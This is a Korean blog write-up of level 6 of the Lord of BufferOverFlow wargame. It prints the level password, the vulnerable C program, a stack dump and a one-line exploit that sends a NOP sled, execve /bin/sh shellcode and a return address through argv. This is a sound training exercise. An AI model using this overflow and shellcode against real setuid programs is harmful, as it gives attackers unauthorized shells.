[Lord Of BufferOverFlow] 6번 wolfman -> darkelf

2021. 2. 25. 17:55·Write-Up/LOB(lord of bufferoverflow)
반응형

login : wolfman

password : love eyuna

 

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

  이전문제와 똑같은데 check the length of argument가 추가되었다

이전문제에서 48이상 넣지 않았기때문에 그냥 똑같이 풀면될거같다,

0xbffffbe8:     0x0000000e      0x000001f9      0x00000010      0x0f8bfbff
0xbffffbf8:     0x0000000f      0xbffffc29      0x00000000      0x00000000
0xbffffc08:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc18:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc28:     0x38366900      0x682f0036      0x2f656d6f      0x666c6f77
0xbffffc38:     0x2f6e616d      0x706d6574      0x61616100      0x61616161
0xbffffc48:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffffc58:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffffc68:     0x61616161      0xbfbfbf61      0x454c00bf      0x504f5353

0xbffffc50 들고가야지

./darkelf `python -c print'"\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x50\xfc\xff\xbf"'`

 

kernel crashed

반응형

'Write-Up > LOB(lord of bufferoverflow)' 카테고리의 다른 글

[Lord Of BufferOverFlow] 8번 orge -> troll  (0) 2021.02.26
[Lord Of BufferOverFlow] 7번 darkelf -> orge  (0) 2021.02.26
[Lord Of BufferOverFlow] 5번 orc -> wolfman  (0) 2021.02.25
[Lord Of BufferOverFlow] 4번 goblin -> orc  (0) 2021.02.23
[Lord Of BufferOverFlow] 3번 cobolt -> goblin  (0) 2021.02.23
'Write-Up/LOB(lord of bufferoverflow)' 카테고리의 다른 글
  • [Lord Of BufferOverFlow] 8번 orge -> troll
  • [Lord Of BufferOverFlow] 7번 darkelf -> orge
  • [Lord Of BufferOverFlow] 5번 orc -> wolfman
  • [Lord Of BufferOverFlow] 4번 goblin -> orc
Penguin Dev
Penguin Dev
What does the Penguin say?
    글쓰기 관리
  • Penguin Dev
    Pengha!
    Penguin Dev
  • 전체
    오늘
    어제
    • 분류 전체보기 (152) N
      • Java & Spring (4) N
      • System Hacking (4)
      • Algorithm (8)
        • Sorting algorithm (3)
      • Python (6)
      • DB (1)
      • Web (2)
        • Web Hacking & Security (2)
      • Write-Up (108)
        • pwnable.kr (17)
        • HackCTF (16)
        • 해커스쿨 FTZ (21)
        • LOB(lord of bufferoverflow) (19)
        • LOS (lord of sql injection) (28)
        • XSS-game (6)
        • Webhacking.kr (1)
      • SUA (19)
        • 오픈소스 보안 (19)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    thread-safe
    ConcurrentHashMap
    sqlinjection
    AtomicLong
    LOB
    동시성처리
    concurrenthashmap vs hashmap
    DB정리
    computeifabsent()
    CountDownLatch
    computeifpresent
    동시성
    lord of bufferoverflow
    hashmap vs concurrenthashmap
    AQS
    ReentrantLock
    spring
    selection sort
    코드트리조별과제
    nop sled
    putval()
    코드트리
    computeifabsent
    enumerate #list comprehension
    computeifpresent()
    Java
    spring boot
    코딩테스트
    tabat
    Lock
  • 최근 댓글

  • 반응형
  • hELLO· Designed By정상우.v4.10.3
Penguin Dev
[Lord Of BufferOverFlow] 6번 wolfman -> darkelf
상단으로

티스토리툴바